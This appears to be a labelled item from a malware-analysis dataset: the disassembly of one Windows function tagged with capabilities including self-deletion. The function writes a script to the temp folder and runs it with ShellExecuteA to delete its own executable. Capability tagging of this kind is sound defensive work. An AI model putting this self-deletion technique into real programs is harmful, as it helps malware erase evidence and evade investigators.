Function at 0x4031c0
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov byte [ebp - 0x110], 0
push 0x103
push 0
lea eax, [ebp - 0x10f]
push eax
call fcn.00411980
add esp, 0xc
mov byte [ebp - 0x218], 0
push 0x103
push 0
lea ecx, [ebp - 0x217]
push ecx
call fcn.00411980
add esp, 0xc
mov byte [ebp - 0x340], 0
push 0x103
push 0
lea edx, [ebp - 0x33f]
push edx
call fcn.00411980
add esp, 0xc
mov eax, dword [0x42adb4]
mov dword [ebp - 0x234], eax
mov ecx, dword [0x42adb8]
mov dword [ebp - 0x230], ecx
mov dx, word [0x42adbc]
mov word [ebp - 0x22c], dx
mov al, byte [0x42adbe]
mov byte [ebp - 0x22a], al
xor ecx, ecx
mov dword [ebp - 0x229], ecx
mov dword [ebp - 0x225], ecx
mov byte [ebp - 0x221], cl
lea edx, [ebp - 0x110]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x344], eax
mov ecx, dword [ebp - 0x344]
mov dword [ebp - 0x348], ecx
mov edx, dword [ebp - 0x344]
mov al, byte [edx]
mov byte [ebp - 0x349], al
add dword [ebp - 0x344], 1
cmp byte [ebp - 0x349], 0
jne 0x40329a
mov ecx, dword [ebp - 0x344]
sub ecx, dword [ebp - 0x348]
mov edx, dword [ebp - 0x348]
mov dword [ebp - 0x350], edx
mov dword [ebp - 0x354], ecx
lea eax, [ebp - 0x110]
add eax, 0xffffffff
mov dword [ebp - 0x358], eax
mov ecx, dword [ebp - 0x358]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x359], dl
add dword [ebp - 0x358], 1
cmp byte [ebp - 0x359], 0
jne 0x4032e5
mov edi, dword [ebp - 0x358]
mov esi, dword [ebp - 0x350]
mov eax, dword [ebp - 0x354]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x218]
push edx
push 0x104
lea eax, [ebp - 0x340]
push eax
call fcn.00410ac2
add esp, 0xc
push 0x5c
lea ecx, [ebp - 0x340]
push ecx
call fcn.00402690
add esp, 8
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
je 0x40337c
mov edx, dword [ebp - 0x220]
mov byte [edx], 0
mov dword [ebp - 0x21c], 0
push 0x42adc0
lea eax, [ebp - 0x110]
push eax
call fcn.00410bee
add esp, 8
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jne 0x4033ae
jmp 0x403660
mov ecx, dword [ebp - 0x21c]
push ecx
push 1
push 9
push 0x42adc4
call fcn.004101c4
add esp, 0x10
mov edx, dword [ebp - 0x21c]
push edx
push 1
push 5
push 0x42add0
call fcn.004101c4
add esp, 0x10
lea eax, [ebp - 0x218]
mov dword [ebp - 0x360], eax
mov ecx, dword [ebp - 0x360]
add ecx, 1
mov dword [ebp - 0x364], ecx
mov edx, dword [ebp - 0x360]
mov al, byte [edx]
mov byte [ebp - 0x365], al
add dword [ebp - 0x360], 1
cmp byte [ebp - 0x365], 0
jne 0x4033f9
mov ecx, dword [ebp - 0x360]
sub ecx, dword [ebp - 0x364]
mov dword [ebp - 0x36c], ecx
mov edx, dword [ebp - 0x21c]
push edx
push 1
mov eax, dword [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x218]
push ecx
call fcn.004101c4
add esp, 0x10
mov edx, dword [ebp - 0x21c]
push edx
push 1
push 2
push 0x42add8
call fcn.004101c4
add esp, 0x10
mov eax, dword [ebp - 0x21c]
push eax
push 1
push 0xa
push 0x42addc
call fcn.004101c4
add esp, 0x10
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x370]
add edx, 1
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x370]
mov cl, byte [eax]
mov byte [ebp - 0x375], cl
add dword [ebp - 0x370], 1
cmp byte [ebp - 0x375], 0
jne 0x403493
mov edx, dword [ebp - 0x370]
sub edx, dword [ebp - 0x374]
mov dword [ebp - 0x37c], edx
mov eax, dword [ebp - 0x21c]
push eax
push 1
mov ecx, dword [ebp - 0x37c]
push ecx
lea edx, [ebp - 0x218]
push edx
call fcn.004101c4
add esp, 0x10
mov eax, dword [ebp - 0x21c]
push eax
push 1
push 0xf
push 0x42ade8
call fcn.004101c4
add esp, 0x10
mov ecx, dword [ebp - 0x21c]
push ecx
push 1
push 7
push 0x42adf8
call fcn.004101c4
add esp, 0x10
lea edx, [ebp - 0x340]
mov dword [ebp - 0x380], edx
mov eax, dword [ebp - 0x380]
add eax, 1
mov dword [ebp - 0x384], eax
mov ecx, dword [ebp - 0x380]
mov dl, byte [ecx]
mov byte [ebp - 0x385], dl
add dword [ebp - 0x380], 1
cmp byte [ebp - 0x385], 0
jne 0x40352d
mov eax, dword [ebp - 0x380]
sub eax, dword [ebp - 0x384]
mov dword [ebp - 0x38c], eax
mov ecx, dword [ebp - 0x21c]
push ecx
push 1
mov edx, dword [ebp - 0x38c]
push edx
lea eax, [ebp - 0x340]
push eax
call fcn.004101c4
add esp, 0x10
mov ecx, dword [ebp - 0x21c]
push ecx
push 1
push 3
push 0x42ae00
call fcn.004101c4
add esp, 0x10
mov edx, dword [ebp - 0x21c]
push edx
push 1
push 5
push 0x42ae04
call fcn.004101c4
add esp, 0x10
lea eax, [ebp - 0x110]
mov dword [ebp - 0x390], eax
mov ecx, dword [ebp - 0x390]
add ecx, 1
mov dword [ebp - 0x394], ecx
mov edx, dword [ebp - 0x390]
mov al, byte [edx]
mov byte [ebp - 0x395], al
add dword [ebp - 0x390], 1
cmp byte [ebp - 0x395], 0
jne 0x4035c7
mov ecx, dword [ebp - 0x390]
sub ecx, dword [ebp - 0x394]
mov dword [ebp - 0x39c], ecx
mov edx, dword [ebp - 0x21c]
push edx
push 1
mov eax, dword [ebp - 0x39c]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.004101c4
add esp, 0x10
mov edx, dword [ebp - 0x21c]
push edx
push 1
push 1
push 0x42ae0c
call fcn.004101c4
add esp, 0x10
cmp dword [ebp - 0x21c], 0
je 0x403646
mov eax, dword [ebp - 0x21c]
push eax
call fcn.0040ffe6
add esp, 4
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push 0x42ae10
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f8fe
mov esp, ebp
pop ebp
ret